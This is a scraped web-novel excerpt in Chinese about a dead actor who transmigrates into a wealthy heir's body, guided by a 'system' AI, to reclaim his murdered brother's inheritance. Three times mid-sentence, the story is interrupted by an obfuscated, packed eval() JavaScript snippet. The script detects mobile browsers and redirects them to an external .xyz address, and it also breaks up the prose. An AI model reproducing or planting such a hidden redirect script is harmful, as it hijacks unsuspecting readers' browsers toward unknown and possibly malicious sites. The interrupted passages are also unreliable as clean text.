《领养自己之后》 1. 穿越 姜洄这辈子,失意过,落魄过,拼命努力过,不择手段过……就是没有幸运过。 说是一辈子,其实他这辈子,说起来也就短短二十五年。 二十五岁生日当天,他踏着十年娱乐圈的血泪史,吭哧吭哧地,终于爬上了曾经自己想也不敢想的位置。 新晋影帝,顶级流量,聚光灯下向他投来这辈子最多的赞赏和鲜花,周围递来的资源几乎数到手软,粉丝也是一茬接一茬,她们欢呼着喊他的名字,为他疯为他狂…… 拿到奖杯的那一刻,姜洄以为自己终于拨开云雾见天日,守得云开见月明,未来的一切都会是美好的、值得期待的。 但仅在领奖后的第二天,他就在坐在保姆车上过红绿灯时,被转角里一辆大货车连人带车创飞了十米远。 飞出去的那一瞬间,姜洄这个向来在圈内都知名的稳重温和老好人都绷不住了。 闭眼前一秒,他心里什么也没想……就只顾着骂贼老天不开眼了! 就不能让他先好好享受一下功成名就的感觉再死吗? 什么叫辛辛苦苦十余年,一朝回到解放前?这就是啊! 沉浮的黑暗中,有路人嘈杂的惊呼议论声、经纪人李哥慌乱赶来拨打救护车的脚步声……还有嘈杂的车流背景音。 要死了吗? 刚领完奖不到一天,就以这种方式横死大街……他真是史无前例吧? 姜洄很想动一动手指,睁眼看看自己现在的样子。 但无论如何也抬不起眼皮来。 【如果能有下辈子,你最想做什么?】 混乱中,有人在他耳边,如此清晰地问了一句。 是谁? 姜洄的眼皮无比沉重。 他想睁开眼看看,却根本做不到。 ——如果能有下辈子。 ……如果能有下辈子吗? 走马灯记忆的潮湿海浪中,姜洄的眼皮慢慢停止了颤动。 他的呼吸趋于平静,仿佛也将一身伤痛一同带走,只剩皮肉之上久不消散的麻木。 他安稳地阖上眼,想。 那他不要当姜洄了。 无论是谁,不要再当姜洄了。 远处,救护车终于呜呜地开过来了,听在他耳边,却仿佛逐渐朦胧的哀鸣。 人潮的声音距离姜洄越来越远了……有什么东西灭顶般瞬间吞没了他,携裹着他沉重的灵魂一起,飘向了远方。 …… 2020年,Z市,一院vip病房。 一个男人身着病号服,正面无表情地坐在病床上,从上到下都散发着一股淡淡的……死味儿。 他看着手机摄像头中的人,虽然脸色苍白、脑袋上还裹着纱布,但也不能否认这张脸实在好看得突出。 薄唇桃花眼,五官张扬夺目,分明是锐利夺目的长相,但因为眼尾下压,又多了几分沉着寡言之态。 但问题来了—— 虽然有五分相似,且十分俊美,但这确实不是姜洄原本的脸。 他抬手,试探性地摸上自己右边的眼睛。 温热颤抖的眼皮下,触感到的眼球是他所熟悉的,生涩的硅胶质感。 这也让他瞬间确定,这仍然是他自己的身体。 但怎么会突然变了一张脸? 这是怎么回事? 【滴滴,检测到宿主已苏醒,正在正式绑定圆梦系统。】 姜洄动作一顿,眼皮微颤,放下手来。 那毫无情绪的冰冷机械声还在继续。 【滴滴……绑定成功。】 【你好宿主,我是系统人工智能002,竭诚为您服务。】 “你的意思是……” 哗啦—— 卫生间里,姜洄拘了一捧水,直接泼在了脸上。 他看着面前镜子里的那张只有几分熟悉的面孔,面无表情:“我穿越回到了十五年前,现在叫赵茴,是那个什么所谓的赵家二少爷,需要完成你们的系统任务,才能回去?” 【是的宿主,介于你死前的遗愿,你现在叫赵茴,只要你愿意,完成任务后你可以继续在这个世界以原主身份生活。】 姜洄:“……” 你们管这种半死不活的时候迷迷糊糊的心声叫做遗愿? 也许是看出他沉默中的不情愿,系统道:【补充前提,虽然此时是十五年前,但为了让你自己更好得适应,你的身体还是自己的身体。】 姜洄挑眉。 自己的身体,但脸变了? 系统解释:【原主以十年沉睡为代价,换取了兑现愿望的机会,你穿越的身体是自己的,但因为旁人的记忆无法改变,所以我们系统使用数据在你的脸上和身体上做了一些伪装,在外人看来,你就是赵茴的脸。并且,此时你的身体状态,也是十八岁的状态。】 说完,姜洄只感觉面前白光一闪。 镜子里的人脸刹那间变了。 含笑唇桃花眼,样貌俊秀清逸,身姿挺拔如松,笑时宛若春风拂面,不笑时气质冷若冰霜。 唯独右边的那只眼睛,转动间有些许不易察觉的生涩,隐约散发着些许冰冷的玻璃质感。 比二十五岁的他自己更年轻、更鲜活。 002道:【只要你愿意,在不影响任务的前提下,可以私下变回原本的模样。】 【你放心,有系统遮掩,不会有人查出你不是本人。】 这倒还算像个样。 “我要是不完成任务呢?” 【十年内任务未完成,则宿主与原主同时灵魂消散,世界线重置。】 这话有些绕口,但姜洄听懂了。 如果任务没有完成,他回不去,原主也回不来,这个世界上所有他已经改变的事情也会回归原位。 但如果完成了任务,想回不回去都在于他的一念之间。 【如果宿主不想回去,则原主将代替你成为未来的你继续生活。】 “原主能同意这种事情?” 【完成心愿是他唯一的诉求,至于能不能回来继续以赵茴的身份生活,他说不重要。】 这也是为什么系统最终将这两个人互相绑定的原因,一个只要完成心愿,不管最后回不回来都行,一个的心愿就是只要换一个身份,两者绑定,直接皆大欢喜。 但没想到换了身份,姜洄好像也并不是很高兴的样子。 【宿主需要暂时保持自己的样貌吗?】 姜洄淡淡道:“不用了,变回去吧。” 这里是人来人往的医院,被人看到可就说不清了,虽然还不知道原主到底是什么情况,但姜洄不喜欢被人捏住任何把柄。 何况,他只要确认自己还是自己就好了。 虽然“重生”、“绑定系统、需要完成任务”这种事情真实发生在现实世界的时候显得很魔幻,但姜洄也不是什么标准的唯物主义者,前二十五年那么难挨的经历都这么过来了,重生一回好像也不是什么大事了。 直到此时,姜洄才终于有了心情查看从系统那边传输过来的原主记忆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033586|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵茴,是原主的名字,一个顶级富二代。 吃喝玩乐无一不通,圈子里狐朋狗友遍地走,上流京圈没有不认识他的人。 但他们认识他,却不是因为赵茴本人有多厉害,而是他的家世—— 赵家,是鼎鼎有名的顶流世家,在整个江城的上流达官贵圈里都可谓是说一不二,就连十五年后的姜洄也曾有所耳闻。 赵家的产业传了好几代,传到原主他哥这时,他哥也是个天之骄子、声名在外,名流大学毕业,涵养才貌都是一等一的。 刚毕业就从老爷子手里接管了公司一大半的产业,还管理得井井有条。 但赵家的发达路也就到此为止了。 两年前,原主父亲车祸去世,母亲听闻消息后心脏病发而亡,赵家所有担子瞬间都落到了大哥赵茗头上,集团股票一跌再跌,无数外人对着赵家家产虎视眈眈。 但这些,按理说暂时也轮不到原主这个二世祖来操心。 赵茗以雷霆手段迅速镇压了下面蠢蠢欲动的一众下属和股东,随即集团的股票又再次稳定下来,表面看着,至少恢复了原本风平浪静的模样。 赵茴为父母的死伤心了一阵子,也安分了一段时间,但很快在大哥的羽翼庇佑之下,又恢复了往日纸醉金迷灯红酒绿的生活。 直到这一次,兄弟俩一起出门去参加某位上流人物的生日宴会,又一场车祸,带走了大哥赵茗的性命。 原主从昏迷中醒来,面对的就是一众盯着赵家家产虎视眈眈的亲戚和各路心思不明的股东。 “……”姜洄沉默片刻,对着虚空中的系统问,“如果我不穿过来,赵家原本是什么结局?” 关于赵家,他记得不多。 只是隐约知道十五年后,已经没有太多关于赵家的消息了,毕竟他混的是娱乐圈,不是贵圈,平时根本不会打听、也打听不到这些和自己无关的陈年旧事。 【如果宿主没有穿越,不到十年,赵茴会被家族中自己伯伯那一边的人将哥哥的所有遗产以各种理由搜刮干净,并被栽赃莫须有的罪名——谋害亲哥哥,因此从赵家被除名,一夕之间从赵家风光无限的二少爷变成落魄的阶下囚,最后在牢里郁郁而终。】 【而赵家,赵茴的大伯赵青只是个贪恋钱财的草包小人,也根本不会经营公司集团,很快就会将赵茗留下的家产挥霍一空,欠下巨额债款,十年后,赵家就将走向消亡,湮灭在上流贵圈之中。】 姜洄回到病房,坐在床边,垂眸,细长的手指搭着柔软的棉被,有一搭没一搭地点着。 “原主的心愿是什么?” 【夺回属于哥哥赵茗的遗产和集团,报复大伯一家。】 这大概也是一个纨绔富二代能想到的最大的心愿了。 姜洄点头。 【宿主同意交易了?】 “我有别的选择吗?”他反问。 002沉默了一下:【没有充分理解宿主的诉求,我方系统感到非常抱歉,为表歉意,我会在宿主任务过程中,尽力提供你需要的帮助。】 “比如?” 【比如,假如宿主需要伪造身份,系统可以提供相关证明,以现代的科技,绝对不会被任何人发现和揭穿。】 姜洄神色缓和了几分。 “我还有最后一个问题。” 【宿主请问。】 “假如我改变了过去。”姜洄顿了顿,似乎在思考如何形容。 过了两秒,他才缓缓接上话,“会影响未来的‘我’的人生轨迹吗?” 2. 任务 系统的回答有些出乎意料,但好像又在情理之中。 【不会。】002说,【你可以理解为,世界从你穿越的这一刻开始,产生了新的分支,成为了两个完全不同的平行世界。从今以后你所做的任何事情,都只会影响这个世界,不会影响你自己的那个世界。】 也就是说。 也就是说…… 这个时空,也有一个和十五年前的他各方面都完全一样的“姜洄”。 002想到什么,严肃道:【但即便如此,你也不能因为回到过去而肆意改变这个世界人物的命运轨迹,这是有严格规定的,除非以任务为目的必须进行改变。】 姜洄眼中闪过什么,很快又归为一片寂然。 “我知道了。” 虽然是身穿,但因为姜洄穿越之前同样刚刚遭遇一场车祸,所以伤势做不得假。 只是姜洄没有多少时间在这里继续呆着,因为他还需要前去参加大哥赵茗的葬礼。 赵茗车祸抢救无效当场死亡。 人是三天前死的,葬礼是第三天就开办了的,由赵家如今唯一的长辈赵青所主持,从时间来看,相当的匆忙仓促。 姜洄醒来时就已经是第三天了,脑震荡的脑袋还痛着,而作为一个没有任何权力的纨绔少爷,对于葬礼是否应该今天举办,他没有丝毫的言语权。 穿上赵青让人送来的黑西服,从医院出来后,他就被赵青派来的人开车接去了葬礼现场。 从头到尾,他也没有对这场醒来就得知的仓促葬礼表现出丝毫异议。 来接他的张伯是赵青的人,态度虽然还算恭敬,举止间却隐约带着几分强硬,大有如果他不配合、就把人直接绑过去的架势,却没想到这位向来叛逆的赵二少今日乖顺得可怕。 坐上车时,张伯坐在副驾驶,从后视镜中打量他的脸色,却见他一言不发,只是沉默地看着窗外,像是被这场车祸带来的死讯剥去了所有的情绪和色彩。 他观察了一会儿,默默低下头给自己老板发消息。 [没有异样,一切正常。] 赵家兄弟感情很是不错,两年间,父母和大哥相继去世,哪怕是赵茴这个向来没心没肺不可一世的二世祖,悲痛些也实在正常。 但旁人以为陷入悲痛的赵二少,实际上只是在发呆。 车窗外景色飞快飘过,十一月的天阴冷极了,飘着细细的小雨。 打在车窗上,也模糊了车外匆匆而过的行人身影。 姜洄的视线从远去的某个街口收回来,继续发呆。 在赵家这种处处勾心斗角的豪门世家,要守住赵茗的遗产并不容易,这里的“遗产”也包括了赵茗留下的集团、以及赵家的所有不动产。 除了赵青这个亲戚虎视眈眈,还有不少外人也盯着这块肥肉。 姜洄并没有过和豪门人物打交道的经验,但从他的过去经历提取数据分析来看,系统认为他是最适合这个任务的人。 豪门的葬礼也和普通人不一样,来的人大多是上流人士,他们穿着华贵但颜色压抑的礼服,在告别厅上对着赵茗的牌位默默哀悼。 无论他们心里想的是什么,面上都做足了样子。 大伯赵青就在这群人中,偕同妻儿一起迎接来客,面上悲痛无比,似乎也为这个死去的侄儿无比心痛。 姜洄刚到现场,还没有见上自己所谓的大哥最后一面,就被赵青拉到了一边,也阻隔了外人投来的探寻的视线。 “小回啊,还好你还在,不然,不然九泉之下,我真的不知道该怎么跟我那苦命的弟弟交代了。” 姜洄冷眼看着他擦拭眼泪,演出一副伤心欲绝的模样,巍然不动。 赵青似乎有点尴尬,但也没有放在心上,毕竟这个侄子和向来知礼懂事的赵茗不同,随心所欲惯了。 他转过目光,避开姜洄有些刺人的眼神,又说:“你大哥如今没了,你刚成年,恐怕打理不好集团下面的事情,伯伯也怕你年轻气盛被人欺负,你看这集团那边,不如就交给我和你伯母来……” 身为赵茗的弟弟,赵茴有第二顺序的遗产继承权,而赵茗生前没有妻子孩子,这遗产必定会直接落到他手上。 但作为伯伯,赵青是没有继承权的。 这场车祸,赵茴虽然没死,但他只是个不学无术、刚成年的小男生。 按常理来讲,哄骗这个无脑富二代将财产主动转移到他们手上,并不是什么难事。 “大伯。”姜洄平静地打断了他的话,眼中似有冷光一闪而过。 赵青有些愣神,还要细看,姜洄却忽而一撇嘴,露出一副十分不可置信的样子,“大哥尸骨未寒,作为我们赵家如今唯一的长辈,你就算再迫不及待想继承遗产,也不至于还在他葬礼上就打起了主意吧?” 他这番话声音不小,恰好能让整个告别厅的人都听得清清楚楚。 满堂宾客原本还有些低语声,闻言却霎时间满座寂静,众人不约而同齐齐朝他们看来。 赵青:“……” 他没料到赵茴会突然来这一出,这么一嚷嚷,在场宾客看他的眼神霎时都变得不对劲起来。 司马昭之心,路人皆知——但大家知道归知道,也不能直接被大庭广众喊出来啊,他这老脸还要不要了? 赵青连忙拉住姜洄,太阳穴突突地跳。 他心中埋怨,可看着对方一副哀怨愤怒的模样,还不得不好声好气地解释:“小回你可能误会了,大伯没有这个意思。” “是吗?”姜洄抿唇,声音落了下来,但似乎还是有些怀疑。“那你是什么意思?” 赵青一家和赵茗兄弟俩关系并不亲近,他在这种时候给出这种反应,实在非常合理。 赵青支支吾吾道:“大伯是想着,你才高中毕业,一时半会顾不上公司那边,也没有管理的经验……” 姜洄却已经抽回了被赵青握着的手,垂眼,一副疲惫至极的模样,仿佛刚刚突然大声质问赵青的人不是他一样。 “这是哥哥的葬礼,我暂时不想聊这些的。” 赵青顿了顿,笑:“你说得对。那我们回去以后再说。” 姜洄没有搭腔,转身走了。 赵青站在原地,保持着得体的表情,盯着他的背影却带着些许深思与探究。 姜洄规规矩矩按着流程,在主持人宣读完讣告后,念完了祷告词,随人流一同哀悼了片刻,又去了棺前见了名义上的大哥最后一眼,随即眼睁睁看着棺材在自己面前彻底合上——再由专人抬棺,吹响唢呐,送往火葬。 繁琐的一场葬礼结束,姜洄没有多留,也无视了赵青暗示的挽留之意,做出一副伤势未愈、头痛欲裂的模样,径直离开了。 他回了赵茴名下离这里最近的一栋房子。 系统问他:【你打算怎么做?】 姜洄没有回答,他披着一身寒风进门,打开玄关的灯,看着这栋哪怕是他前世最富裕的时候也没有住过的大别墅,眼眸微动。 赵家不愧是鼎富之家,小儿子随便一套房子,都这样富丽堂皇、装潢阔绰。 系统察觉到什么:【只要你完成任务,如果想要留下,房产和赵家的财产都是你的。】 姜洄眨了下眼,还是没有说话,他换了鞋,先上楼去洗了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033587|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澡。 系统自觉屏蔽了感官系统。 半小时后,姜洄擦着头发出来,听见床头的手机叮咚响了一声。 这虽然不是姜洄自己的手机,而是原主的,但指纹解锁却已经被系统换成了他的。 随手打开一看,却是赵青这个大伯发来的消息。 竟是因为今天葬礼上的事情,想让他去赵青那边吃个饭,好好谈一谈。 姜洄眸光一闪,嗤笑了声,将手机丢到了一边,全然没有要理会的意思。 邀请吃饭,无非就是又要打赵家遗产的主意。 赵茴虽然脑子不聪明,但好歹也不是个真的蠢货,按照剧情,他同样没有松口答应赵青的要求,甚至直接和赵青闹翻了脸,指着对方的鼻子骂他们居心不良。 赵青名声扫地,倒也安分了一段时间。 但不到半个月,赵茴就被突然上门的警察押走了,理由是涉嫌谋杀亲兄。 不用怀疑,这就是赵青干的好事。 系统作为辅助的存在,按理说是不该干预宿主的选择和决定的,只是它也有些好奇:【宿主已经有计划了?】 姜洄坦然道:“没有啊。” 002:【……那你?】 怎么一点也不慌的样子? 姜洄牵扯了下唇角,笑笑:“赵茗的死不是意外,对吧?” 赵茴虽然被抓了,但他当然是被冤枉的。 可惜赵茗的尸体已经火化,当时所有人都以为是一场普通的车祸事故,赵青代表赵家拒绝了尸检这个过程,直接将这场车祸划为了意外,又将赵茗匆匆火化下葬,早就找不到现场的任何证据。 更糟糕的是,警方还从手机里查出了两人的聊天记录,是前去参加宴会前一天,赵茗刚跟赵茴提起,要给自己买一份保险,如果他意外去世,所有财产股权归为赵茴所有。 这份聊天记录,直接将赵茴推上了风尖浪口。 至此,他被正式羁押,所有刚继承到手的遗产也被全部扣押,直到又一段时间后,赵青出现在他面前。 他风尘扑扑,说现在有人在刻意针对赵家,赵茴是被栽赃的,他知道。 他声泪涕下,又说可以保赵茴出来,但是条件是赵茴亲手签一份财产转移的合同,表明所有遗产归赵青所有。 他言语诚恳,再说,这只是缓兵之计,让人明白他没有图财谋害亲哥,毕竟遗产最后都没有全部留给他。等赵茴出来,赵家缓过神来,就可以认真调查大哥的车祸案子了,到时候那些财产,赵青可以全部还回来。 赵茴一个金尊玉贵的大少爷,从小就没吃过什么苦,在看守所里几天呆得昏天暗地,头晕脑胀。 他在外面没有可以托付的亲友,以至于进来了许久,一众狐朋狗友全都跟他断了联系,他陷入了四面楚歌,无人可帮的境地。 再见到赵青,赵茴竟然也真的签下了那份财产部分转移的合同。 但赵青没有履行承诺带他出去。 他再次消失了,一段时间后,赵茴等到的,是一份由赵青大义灭亲、上交警方的证据——一份“财产转移书”。 这份合同上,明确写着甲方赵茴要求乙方赵青带他出狱,代价是转让40%的财产和公司股权。 上面有赵茴自己的签名。 这下,赵茴是真的无可翻身了。 谋杀亲哥、畏罪潜逃……他已经辩无可辩。 从赵家兄弟俩车祸出事,赵茗死亡、到赵茴被栽赃入狱,前后不过一个月。 赵氏集团风云变幻,上司三度换人。 赵家所有财产,最后全部被赵青一人收入囊中。 3. 上位 002沉默了。 程序里没有说可以不可以暴露这些剧情,所以它只能沉默,但其实它的沉默也是一种答案。 姜洄并不感到意外:“挺好猜的,毕竟没有一个家庭能倒霉到不到三年,两起车祸、死了三个人。” 他甚至猜测,赵家兄弟他爹的死,也不是个意外。 002:【宿主为什么这样推测,只是因为时间吗?但根据数据分析,两年并不短暂,一个家庭在两年内分崩离析也是很正常的事情。】 姜洄:“很简单,一个故事里,有人刚好死了,有人刚好获利,就证明这不可能是意外。” 而获利最大的,那个人,就是赵青。 002:【可是赵茴没有死。】 姜洄:“两场车祸死三个可以说是意外,死四个可就瞒不住了。一个脑瓜并不算聪明的刚毕业的小男生,留下来的利益更大,毕竟有无数种办法可以堵住他的嘴、抢夺他手中的遗产。” 例如给他一个莫须有的罪名,送他去吃牢饭。 赵青独立出赵家这一脉很多年了,虽说比不上赵家本支威慑力大,但也有些手段。 对于这种豪门世家来说,给一个墙倒众人推的废物富二代冠个罪名,是再简单不过的事情。 002便不说话了。 姜洄回过神来,靠在床边歇息了一会儿,也不知道在想什么,只是看着窗外静静地……发呆。 期间手机嘀嘀嘀地响个不停,姜洄也没有丝毫回复消息的意思。 这栋别墅位于江城寸土寸金的富人区,地理位置绝佳,虽然在小区里,但二楼的主卧仍然能够透过窗户看见街道上的万家灯火。 那些灯光鬼火一般幽幽映在他眼中,更显得他身影单薄,神色莫测。 半晌,他终于想起手机似的,转头翻开了手机里的联系方式。 联系人里,有个叫做“陈助理”的人,这是原主大哥的助理,也算是整个公司里赵茴唯一能够全身心信任的人。 现在时间还早,姜洄给对方打了个电话,告诉对方自己三天后会来公司里上班。 修养三天,这是姜洄给自己养伤能划分的最多的时间了。 陈助理显得很惊讶:“可是……您不用上学吗?” 姜洄顿了顿:“不用。” 虽然上流圈子的人惯爱给孩子学历镀金,哪怕是屎盆子也得镶一圈金边,才好带出去见人,但赵茴生性不爱读书,直接拒绝了他哥要送他出国留学的提议,高中毕业后已经鬼混了近半年了。 如果姜洄去上学了,到时候赵茴本人回来了,又没有他上过学的记忆,言语间很容易露馅。 既然还没有决定留下来,就先不要给这个身份原本的主人留下麻烦了。 挂断电话,他又在在拨打电话界面,按下了三个数字。 “喂,警官您好。” 他语气平淡,道,“我要报警,我怀疑我的哥哥被人蓄意谋杀。” …… 除了中途去买了副眼镜以外,姜洄几乎足不出户。 他在家里吃吃喝喝看看书,悠哉游哉住了三天后,打着哈欠,在八点钟的闹铃下准时带着些倦意爬起了床。 002感到惊奇:【你真要去上班?】 姜洄:“我要守住财产,就必须在集团站稳脚跟,要站稳脚跟,就得去公司树立威信,培养自己的亲信,有问题?” 002:【可如果你在公司真的站稳脚跟了,原主回来了却对管理公司一无所知怎么办?】 姜洄:“那就是后面需要考虑的事情了。” 他语气懒散地说着,边说,边扶着一觉醒来还隐隐作痛的脑袋起身,趿拉着拖鞋从原主花里胡哨的衣柜里挑了一件勉强算正式的西装。 至于他能不能管理好集团这个问题…… 姜洄活了这么多年,就没有他想学却学不会的事情,何况在穿来之前,他也已经独立出了工作室,管理工作室虽然和管理公司不一样,但好歹也算有些经验吧? 要是真的学都学不会,那就真是他的命数了。 赵家本家是有一位司机的,姓王,当太难他们去赴宴,因为他恰好放假而逃过一劫。 赵家现在只剩赵二少一个人,因此也成了姜洄的专属司机,姜洄一个电话,他便飞速赶来接应。 到达公司的时候,陈助理已经等候多时,本来正在楼底下跟公司里的某位股东说这话,见到他,便收敛了眸子里的惊讶,忙迎上来:“……小赵总。” 竟然真的来了? 那位股东愣了一下,还没反应过来:“小赵总?” 姜洄对他点了点头,神色淡然:“您好。” 脑袋上的纱布已经被姜洄自己拆了下来,虽然还有些头痛的后遗症,但也不算严重。 他今天打扮得很正式,比起之前那位赵二少吊儿郎当的形象,看着多了几分沉稳,眼眸深邃瞳孔清晰,鼻梁上驾着一副无框眼镜,更添了几分文质彬彬的气质。 好像和之前见过的那位赵二少有哪里不太一样了。 股东茫然道:“您这是打算……” 姜洄:“上班。” 哥哥死了,弟弟作为从前的挂名总裁,如今继承了股份后幡然醒悟痛定思痛要来上班,没有问题吧? 但……股东面容扭曲了一瞬间,差点没绷住礼貌的表情。 这位赵二少是出了名的不学无术,公司交给他真的能行吗? 陈助理倒是给足了面子,不管心里是不是觉得这位赵二少是在玩闹,面上还是在这位股东复杂的眼神里,恭恭敬敬地将人迎上了楼。 陈助理带他进了董事长的办公室门,这里自从赵茗死后就已经没了人坐镇,他的遗物前两天被姜洄打电话派人整理了送回去,现在空荡荡的什么也没有。 陈助理本以为这位二少就是来看一眼,没想到对方推了下鼻梁上的无框眼镜,打量了片刻,开口却问:“行程安排表在哪?” 陈助理眨眨眼:“您……真要工作啊?” 姜洄瞥了他一眼,没说话,脸上的意思却很明显。 ——不然呢? 好在陈助理毕竟跟着赵大哥干了好几年,拥有一个合格助理该有的职业素养,虽然不确定这位二世祖能不能行,却还是提前做好了行程表。 见姜洄表情没有玩笑的意思,他也认真起来。 “您虽然有股份和总裁的头衔,但赵总之前任职的ceo和董事长的位置还是空缺的,所以现在您属于公司的最高职位,这几天行程安排很多,五天后有个重要会议,股东们都会到场,是商讨选举下一任董事长的,也请您务必准时到场。” 姜洄点头:“需要我处理的所有文件都放到我办公室来。” “明白。”陈助理虽然心中忐忑,却也只能在此时选择信任对方。 他本来是赵茗的私人助理,因为业务能力突出所以在公司也一路被赵茗提拔成了总助理,之后很少再管二少的事情了。 赵茗没了,陈助理从私来讲,就只服务于姜洄一个人。 如果二少支棱不起来,作为被赵大哥一手提拔的亲信,在赵青上位后,第一个下位的就得是他。 不过今天的二少看上去和以往很不一样了,也许是因为赵家接二连三的事故终究还是让他成长了…… 陈助理心中叹息,很快关上门离开了:“您有需要随时喊我。” “等等。”姜洄喊住他,在他疑问的眼神里,缓缓道,“帮我联系一家保安公司,我需要雇佣几个保镖。” 陈助理沉默了片刻,他自然也听说了赵青葬礼上公然向二少提出转让股份的事,但似乎也不至于严重到二少要找保镖……难道是赵茗的死不简单? 但这也不是他一个助理能够多问的,陈助理利落应下,转身走了。 只是陈助理不知道的是,被他寄予厚望的赵二少,此时其实还是个经营管理的半吊子。 这几天看书恶补了一些知识,又有系统在一旁协助,他学到不少东西,但真正实行起来,并不能保证真的能和学的东西一样简单。 因此来公司这几天,不管外人如何看,姜洄自己是认认真真在学习和管理的,每天忙到最后一个下班,夜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033588|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还会加班处理各种文件。 狐朋狗友打电话聚会是不去的,赛车这项喜欢的活动也是落了灰的……总而言之,和以前可谓是完全不同了。 对比起他从前挂名了一个总裁的头衔、却几乎从来不进公司大门的表现,他的改变自然是被有心人看在眼里的。 难道真是被一场车祸撞得脑子开窍了? 就在一众人明里暗里猜测和试探之间,股东大会也在五天后的下午三点准时举行了。 姜洄作为股东一员,准时出席。 几个老股东在见到他的时候都主动迎上来和他笑呵呵打了招呼,姜洄也一一笑着回应,嘴角挂着的笑容十分得体,举手投足的仪态也都恰到好处,看着竟是和从前大相径庭了。 大会结束,不到片刻,由公司的眼线传达消息,赵青很快就得知了这场会议的结果。 他差点当着公司其他下属的面摔碎手里的茶杯,咬牙切齿道:“怎么可能?” 听说那小子去上班,他原本还等着看笑话,结果上了五天班,竟然能哄得那群股东直接选了他做CEO和执行董事? 来汇报的张叔脊背更弯了些,低声道:“二少这两天接了个项目,听说本来有些问题,终版一直迟迟定不下来,他主张改了一部分,被另一家大企业的老总看上了,主动投资发展合作,现在不仅项目很有前景,还促进了集团不少其他项目投资,公司里不少老人都对他改观……” 集团里大部分人都是赵家大爷一手提拔的,心自然是向着大爷这边,但之前的二少实在是太不争气。 赵茗去世后几天,股东大会开了好几次,一群人商讨了那么久,一个新的董事长和CEO都选不出来。 不管选谁,总有人在强烈反对,可要是推举继承股份的赵二少,对方的才能又不足以令他们心悦诚服。 但最近赵二少每天准点上班,最后一个下班,工作的积极大家都看在眼里,隐隐也能察觉对方在商业管理方面展现的才能并不亚于赵家大少爷,不由得都感到有些心惊。 难道真的不是一家人不进一家门,其实赵二少也是个商业奇才? 这样一想,不少人心中的天平便又有所倾斜了。 对于这个结果,002也十分惊讶。 看姜洄一副淡定自若的模样,不禁更纳闷起来。 【你早就料到了你能成功上任?】 【根据数据分析,】002道,【虽然你这几天很努力地在工作,但你当选的概率仍然为20%。不过会议开始前他们对你的态度都非常和善,但难道会议前的态度才是决定选举结果的关键吗?】 姜洄:“不。” “你的数据分析,是基于什么基础的呢?” 002道:【你的个人能力与经验。】 “但在真正的贵圈职场,能力和经验怎么样其实并不重要。你只需要知道,我继承了这家公司的60%的股权,我是这家公司最大的持股人,加上大部分股东都和赵家有交情和来往,是赵茴他父亲和大哥的人,念在以往的这两位董事的份上,只要我没有烂透了,给他们一个认真的态度让他们心安,这个CEO和董事长的位置就轮不到别人家来坐。” 002若有所思。 这一程结束,就代表姜洄初步在公司里站稳了脚跟,他只需要稳扎稳打,继续走下去就好了。 至于赵青那边,姜洄不急着处理,关于车祸的案子警方尚未给他答复,就证明一切还在秘密调查中。 与此同时,他打了一个私家侦探的电话,请对方查一查两年前赵家家主的车祸案,并开出了令人无法拒绝的报酬。 ——没办法,他现在有钱,任务期间,尽可以随便挥霍。 再次工作到了晚上八点,姜洄独自一人走出了公司大楼。 才走下台阶,便感觉脸颊上微微落了点两翼——一抬头,发现黑漆漆的夜空中飘了点朦胧的雪花。 这是江城今年的第一场雪。 恍惚间,姜洄想起了今天的日期。 11月20号。 一个……他无比熟悉的日子。 4. 黑崽 身后,两个保镖很有眼力见地撑了伞上前,替他挡住了上空飘落的雪花。 姜洄接过伞,低声道谢。 他没有坐车回去。 他也不知道自己是怎么想的,只是摆摆手,让司机王叔先离开了,自己走在了这条自夜幕降临后便愈发人烟萧瑟的街道上。 两个保镖尽职尽责,不远不近地跟在后面。 他独自撑着一把黑伞走在前方。 明明穿着一身宽大的私定款杏色风衣,脖子上还有最新款的高奢品牌围巾…… 可放进口袋里的手指却骨节僵硬,仿佛血液凝结,半晌都暖和不起来。 雪慢慢下大了。 他忽如其来的沉默有些明显,脑海中待机状态的002察觉出几分奇怪来,冷不丁开口:【宿主这是要去哪?】 姜洄倏而顿住步子。 他回过神抬头,看见了一条熟悉的小巷。 …… ——2020年,江城的11月,下了一场朦胧纷扬的皑皑大雪。 这一年,未满10岁的姜洄还不叫姜洄。 因为出生时候皮肤较黑,长得像个皱巴巴的黑猴子,他爹看了一眼就嫌弃得不行,随口给他取了个名叫煤球。 这名字就像是取给宠物的,叫着不太顺口,后来熟悉他的人,不管关系好不好的,都叫他黑崽。 久而久之,人们便也忘了他一开始那个名字。 但这个称呼,在他们老家南城,往往是形容一个人很倒霉的意思。 不过姜洄那时候确实过得不算幸运,竟然也阴差阳错和这个外号一般的名字显得相配起来。 